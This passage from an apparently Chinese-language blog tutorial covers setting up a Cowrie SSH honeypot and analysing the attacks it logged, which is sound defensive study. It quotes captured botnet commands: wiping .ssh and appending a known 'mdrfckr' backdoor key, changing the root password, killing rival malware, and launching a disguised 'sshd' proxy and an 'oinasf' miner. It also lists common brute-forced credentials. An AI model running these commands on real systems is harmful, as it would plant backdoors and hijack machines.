<section><h2>六、测试是否运行成功<a href="#六测试是否运行成功"><span>#</span></a></h2><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>ss</span><span> </span><span>-tlnp</span><span> | </span><span>grep</span><span> </span><span>2222</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果看到 2222 正在监听，说明程序已运行。</p><p>本机测试连接：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>ssh</span><span> </span><span>-p</span><span> </span><span>2222</span><span> </span><span>root@127.0.0.1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>你应该会连接到 Cowrie 模拟出来的 SSH 服务，而不是真实 SSH。</p><p></p><figure><img alt="image" loading="lazy" width="1061" height="270" src="/_astro/ee516e0df94b6a63.DyzPP73M_Z1pjJtk.webp" /><figcaption>image</figcaption></figure><br />
我随便输入了一个密码，cowrie可能会直接把我放进来。<br />
cowrie还会发出一些迷惑信息，增加逼真性。<p></p></section>
<section><h2>七、让外部扫到 22 端口<a href="#七让外部扫到-22-端口"><span>#</span></a></h2><p>这个要特别注意：<br />
不要直接让真实 SSH 和 Cowrie 都占用 22。</p><p>通常做法：</p><ul>
<li>真实 SSH 改到别的端口，比如 22222</li>
<li>外部访问 22 时转发到 Cowrie 的 2222</li>
</ul><section><h3>1. 如果真实ssh端口在22，先改端口<a href="#1-如果真实ssh端口在22先改端口"><span>#</span></a></h3><p>编辑 SSH 配置：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>vi</span><span> </span><span>/etc/ssh/sshd_config</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>找到port这一行，改成：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Port 22222</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>保存</strong>后重启 SSH：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>systemctl</span><span> </span><span>restart</span><span> </span><span>sshd</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>先别断开当前会话，先新开一个终端测试能否用新端口登录：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>ssh</span><span> </span><span>-p</span><span> </span><span>22222</span><span> </span><span>root@你的IP</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>确认没问题后再继续。</p></section><section><h3>2. iptables/ firewalld 端口转发，让外部 22 转到 Cowrie 的 2222<a href="#2-iptables-firewalld-端口转发让外部-22-转到-cowrie-的-2222"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>iptables</span><span> </span><span>-t</span><span> </span><span>nat</span><span> </span><span>-A</span><span> </span><span>PREROUTING</span><span> </span><span>-p</span><span> </span><span>tcp</span><span> </span><span>--dport</span><span> </span><span>22</span><span> </span><span>-j</span><span> </span><span>REDIRECT</span><span> </span><span>--to-ports</span><span> </span><span>2222</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>iptables</span><span> </span><span>-t</span><span> </span><span>nat</span><span> </span><span>-A</span><span> </span><span>OUTPUT</span><span> </span><span>-p</span><span> </span><span>tcp</span><span> </span><span>-d</span><span> </span><span>127.0.0.1</span><span> </span><span>--dport</span><span> </span><span>22</span><span> </span><span>-j</span><span> </span><span>REDIRECT</span><span> </span><span>--to-ports</span><span> </span><span>2222</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>或者用 firewalld</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>firewall-cmd</span><span> </span><span>--permanent</span><span> </span><span>--add-forward-port=port=22:proto=tcp:toport=2222</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>firewall-cmd</span><span> </span><span>--reload</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这样外部访问 22，实际进 Cowrie 的 2222。</p></section><section><h3>3. 测试端口是否转发成功：<a href="#3-测试端口是否转发成功"><span>#</span></a></h3><p>本地：<code>ssh root@127.0.0.1</code><br />
新终端：<code>ssh root@你的IP</code><br />
如果是蜜罐，说明成功了。</p><ul>
<li>查看日志</li>
</ul><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>tail</span><span> </span><span>-n</span><span> </span><span>50</span><span> </span><span>var/log/cowrie/cowrie.log</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>tail</span><span> </span><span>-n</span><span> </span><span>50</span><span> </span><span>var/log/cowrie/cowrie.json</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p></p><figure><img alt="image" loading="lazy" width="1058" height="827" src="/_astro/670a39414241bae9.BDdctHVC_Z1R9xkO.webp" /><figcaption>image</figcaption></figure><br />
<figure><img alt="image" loading="lazy" width="1056" height="1011" src="/_astro/f2e65533912f23cb.BMDSYFmD_Sy6Iq.webp" /><figcaption>image</figcaption></figure><br />
你可以看到一些被cowrie收集的信息（攻击者 IP 地址，尝试的账户密码，连接时间、时长，目标端口，客户端信息，认证信息，执行的命令等等）<br />
这是一些真实的攻击记录，大部分由黑客（被控制的肉鸡）使用Nmap、Zmap等工具，几秒内就能扫遍全网。<p></p></section><section><h3>4. 公网<a href="#4-公网"><span>#</span></a></h3><p>当你的设备具备了可从互联网任何地方直接访问的独立网络身份时，才算暴露在公网上，才能被全球其他人访问；<strong>否则部署的蜜罐只能自己访问</strong>。</p></section></section>
<section><h2>八、python脚本自动分析<a href="#八python脚本自动分析"><span>#</span></a></h2><section><h3>1. 编写脚本<a href="#1-编写脚本"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>touch</span><span> </span><span>cowrie-report.py</span></div></div><div><div><div>2</div></div><div><span>nano</span><span> </span><span>cowrie-report.py</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>将本文章配套的python代码复制进去就行。</p><p>脚本下载通道</p><p>/files/cowrie-log-script.zip</p></section><section><h3>2.给脚本加执行权限<a href="#2给脚本加执行权限"><span>#</span></a></h3><p>写完脚本后，你当时运行了这行命令，让脚本变成可执行文件：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>chmod</span><span> </span><span>+x</span><span> </span><span>cowrie-report.py</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3、把脚本放到系统 PATH 里<a href="#3把脚本放到系统-path-里"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cp</span><span> </span><span>cowrie-report.py</span><span> </span><span>/usr/local/bin/cowrie-report</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>4.效果与分析<a href="#4效果与分析"><span>#</span></a></h3><p>内置包含大量实用功能（查看类： ‘summary’, ‘topip’, ‘creds’, ‘commands’, ‘sources’, ‘keys’, ‘weird’, ‘families’, ‘ip’, ‘export-logins’ ；导出类：‘export-logins’, ‘export-commands’, ‘export-keys’, ‘export-weird’, ‘export-families’）<br />
</p><figure><img alt="image" loading="lazy" width="1057" height="464" src="/_astro/1adca0af7520159e.CtxAdBlC_ZS96Wa.webp" /><figcaption>image</figcaption></figure><br />
<figure><img alt="image" loading="lazy" width="1061" height="371" src="/_astro/46c5aa72b6e3cb69.HZe7x95k_16s2w8.webp" /><figcaption>image</figcaption></figure><br />
可以看到每天都有大量事件。要是真机，暴露在公网上，很快会沦陷为黑客的肉鸡。<p></p><p></p><figure><img alt="image" loading="lazy" width="1057" height="601" src="/_astro/c3d61e5cf3c58c68.DRHwTzbL_ZgKelj.webp" /><figcaption>image</figcaption></figure><br />
其实这个很有意思，这么多IP注入的都是同一个公钥<p></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>echo</span><span> </span><span>"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr"</span><span> &gt;&gt; </span><span>.ssh/authorized_keys</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>mdrfckr = motherfcker（脏话 / 辱骂性词汇）<br />
这个密钥<code>mdrfckr</code>标识是黑客、黑产、恶意软件作者最常用的挑衅式署名；目的就是：</p><ul>
<li>装酷</li>
<li>挑衅受害者</li>
<li>标记「这个后门是我放的」</li>
</ul><p>执行cowrie-report command看看他们都干了什么<br />
</p><figure><img alt="image" loading="lazy" width="1062" height="965" src="/_astro/70395b340facf0b4.YjSz9yGy_ZpMo3a.webp" /><figcaption>image</figcaption></figure><br />
这是随机截的，毕竟太长了。<p></p><p>介绍主要行为：</p><ol>
<li>删除原来的 .ssh（删你密钥）</li>
</ol><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>rm</span><span> </span><span>-rf</span><span> </span><span>.ssh</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ol>
<li>重建 .ssh 目录</li>
</ol><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mkdir</span><span> </span><span>.ssh</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ol>
<li>写入黑客自己的 SSH 后门公钥</li>
</ol><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>echo</span><span> </span><span>"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr"</span><span> &gt;&gt; </span><span>.ssh/authorized_keys</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ol>
<li>锁权限，防止你删掉后门</li>
</ol><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>chmod</span><span> </span><span>-R</span><span> </span><span>go=</span><span> </span><span>~/.ssh</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ol>
<li>查 CPU 核心数（判断能不能挖矿）</li>
</ol><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cat</span><span> </span><span>/proc/cpuinfo</span><span> | </span><span>grep</span><span> </span><span>name</span><span> | </span><span>wc</span><span> </span><span>-l</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ol>
<li>杀其他病毒、清理竞争对手 malware</li>
</ol><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>rm</span><span> </span><span>-rf</span><span> </span><span>/tmp/secure.sh</span><span>; </span><span>rm</span><span> </span><span>-rf</span><span> </span><span>/tmp/auth.sh</span><span>; </span><span>pkill</span><span> </span><span>-f</span><span> </span><span>secure.sh</span><span>; </span><span>pkill</span><span> </span><span>-f</span><span> </span><span>auth.sh</span><span>; </span><span>echo</span><span> &gt; </span><span>/etc/hosts.deny</span><span>; </span><span>pkill</span><span> </span><span>-f</span><span> </span><span>sleep</span><span>;</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ol>
<li>修改 root 密码（锁死你，独占机器）</li>
</ol><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>echo</span><span> </span><span>"root:c9pUFi59LRUU"</span><span>|</span><span>chpasswd</span><span>|</span><span>bash</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>.</p><p>接下我们看看具有相似特征的族<br />
cowrie-report families<br />
</p><figure><img alt="image" loading="lazy" width="1060" height="445" src="/_astro/8f240c4de6907b45.BEEvYDdN_Ik8n.webp" /><figcaption>image</figcaption></figure><br />
<figure><img alt="image" loading="lazy" width="1060" height="445" src="/_astro/8f240c4de6907b45.BEEvYDdN_Ik8n.webp" /><figcaption>image</figcaption></figure><p></p><p>345gs5662d34/345gs5662d34(2004), root/3245gs5662d34(2002)这两个是尝试次数最多的账密；</p><ol>
<li>最显眼的 345gs5662d34/345gs5662d34是物联网设备 / 路由器 / 工控设备的默认密码变种</li>
<li>root/3245gs5662d3是上面那个密码的变种，差不多的次数，说明和上面那个是同一个脚本 / 团伙的字典，专门针对 Linux 服务器的 root 账号</li>
<li>admin/admin：最通用的管理员账号密码，几乎所有设备都有，被扫了 85 次，属于基础弱口令字典的标配</li>
<li>orangepi/orangepi：这是香橙派（Orange Pi）开发板的默认 SSH 账号密码，说明攻击者专门针对物联网开发板做了定向爆破</li>
<li>root/P / root/nPSpP4PBW0 .这些是 <strong>“半强密码” 的弱口令变种</strong></li>
<li>root/Aa112211典型入门级弱密码</li>
<li>root/：root 账号 + 空密码 ；很多新手会犯的错误</li>
<li>root/root账号密码都是 root，被扫了 26 次，属于 “新手专属弱口令”</li>
<li>a/a：账号密码都是 a，纯随机爆破的垃圾项，被扫了 22 次<br />
<figure><img alt="image" loading="lazy" width="1009" height="486" src="/_astro/7005f14f91a70718.2GUy0a77_Z235eee.webp" /><figcaption>image</figcaption></figure><br />
攻击者在登录成功后，会立即写入 SSH 公钥后门，这是僵尸网络控制肉鸡的标准流程。<br />
<figure><img alt="image" loading="lazy" width="1014" height="866" src="/_astro/a1da50c9c58ccffa.CSS4NETv_rwE2p.webp" /><figcaption>image</figcaption></figure><br />
两组典型的前置侦察型攻击</li>
</ol><ul>
<li>族4：单一 IP 的轻量级侦察脚本<br />
<code>cat /proc/1/mounts</code> 查看系统挂载信息，判断是否为容器 / 虚拟机<br />
<code>ls /proc/1/</code> 检查 PID 1 进程，确认系统初始化环境<br />
<code>curl2</code> 测试服务器是否能联网，用于后续下载恶意程序<br />
<code>ps aux / ps</code> 查看进程列表，判断是否已有其他恶意软件在运行</li>
</ul><p>关键特征：</p><ol>
<li>使用 echo ”…” | sh 执行命令，是典型的IDS / 防火墙绕过手段</li>
<li>没有植入后门、没有挖矿，仅做 “踩点”</li>
<li>这类脚本通常是大型僵尸网络的 “前置筛选器”，用来挑出有价值的肉鸡</li>
</ol><ul>
<li>族5：定向挖矿木马的侦察脚本<br />
<code>/ip cloud print</code> 识别目标是否为云服务器（部分云厂商有特定的工具）<br />
<code>ifconfig</code> 获取网卡信息，确认网络环境<br />
<code>uname -a</code> 查看系统内核版本，判断是否支持挖矿程序<br />
<code>cat /proc/cpuinfo</code> 关键：查看 CPU 核心数，判断挖矿收益<br />
<code>ps grep '[Mm]iner'</code> 检查是否已有其他挖矿程序在运行，防止被 “抢矿”</li>
</ul><p>关键特征：</p><ol>
<li>所有命令都围绕 “挖矿价值评估” 展开，目的性极强</li>
<li>常见登录密码是 root/root、root/admin，属于基础弱口令爆破</li>
<li>这类攻击的下一步，就是下载并执行挖矿木马</li>
</ol><p></p><figure><img alt="image" loading="lazy" width="1047" height="799" src="/_astro/f8ab6c86963bb28a.C4EFr-xx_ZEzCfR.webp" /><figcaption>image</figcaption></figure><p></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>chmod</span><span> </span><span>+x</span><span> </span><span>./.9209272124184346317/sshd</span><span>;</span></div></div><div><div><div>2</div></div><div><span>nohup</span><span> </span><span>./.9209272124184346317/sshd</span><span> </span><span>111.170.34.11</span><span> </span><span>123.182.141.91</span><span> </span><span>...</span><span> &amp;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>这是一种典型的 “恶意反向代理” 攻击。攻击者在登录成功后，会上传一个伪装成 sshd 的恶意程序，赋予执行权限并在后台运行。<a href="#这是一种典型的-恶意反向代理-攻击攻击者在登录成功后会上传一个伪装成-sshd-的恶意程序赋予执行权限并在后台运行"><span>#</span></a></h3><p>系统自带的 sshd 是 /usr/sbin/sshd，而这个程序：<br />
位于隐藏目录 ./.9209272124184346317/（随机命名，隐藏行踪）<br />
接收大量 IP 作为参数，明显不是正常的 SSH 服务，本质是建立反向隧道，将目标服务器变成攻击者的代理跳板，用于转发恶意流量（如 DDoS、爬虫、代理访问）。<br />
，<br />
</p><figure><img alt="image" loading="lazy" width="1056" height="338" src="/_astro/b66c816e31d6685a.CzXZHOs__218GJI.webp" /><figcaption>image</figcaption></figure><br />
安装挖矿木马 / 僵尸网络执行链<p></p><ol>
<li>./oinasf：直接运行当前目录下的恶意程序 oinasf</li>
<li>后面的 dd /proc/self/exe 是一套 fallback 逻辑，用来读取自身程序的二进制代码，常见于自复制、自解压、绕过沙箱 / 蜜罐检测的恶意脚本</li>
<li>整个命令的目标，是在被攻陷的服务器上植入并执行 oinasf 恶意程序</li>
</ol></section></section>
<section><h2>九、总结<a href="#九总结"><span>#</span></a></h2><section><h3>日志覆盖 4.19–4.28，记录了从扫描到挖矿的全过程<a href="#日志覆盖-419428记录了从扫描到挖矿的全过程"><span>#</span></a></h3><p>早期：只爆破弱口令（族 1）</p><p>中期：写公钥留后门（族 2/3）</p><p>后期：上挖矿木马 oinasf（族 13）</p><p>穿插：侦察系统、清理环境</p><p>显然这是这是一个以 SSH 弱口令爆破为入口、以 SSH 公钥为持久化后门、以 oinasf 为挖矿模块的大型 Linux 跨平台僵尸网络。</p></section></section>]]></content>
    </entry>
</feed>
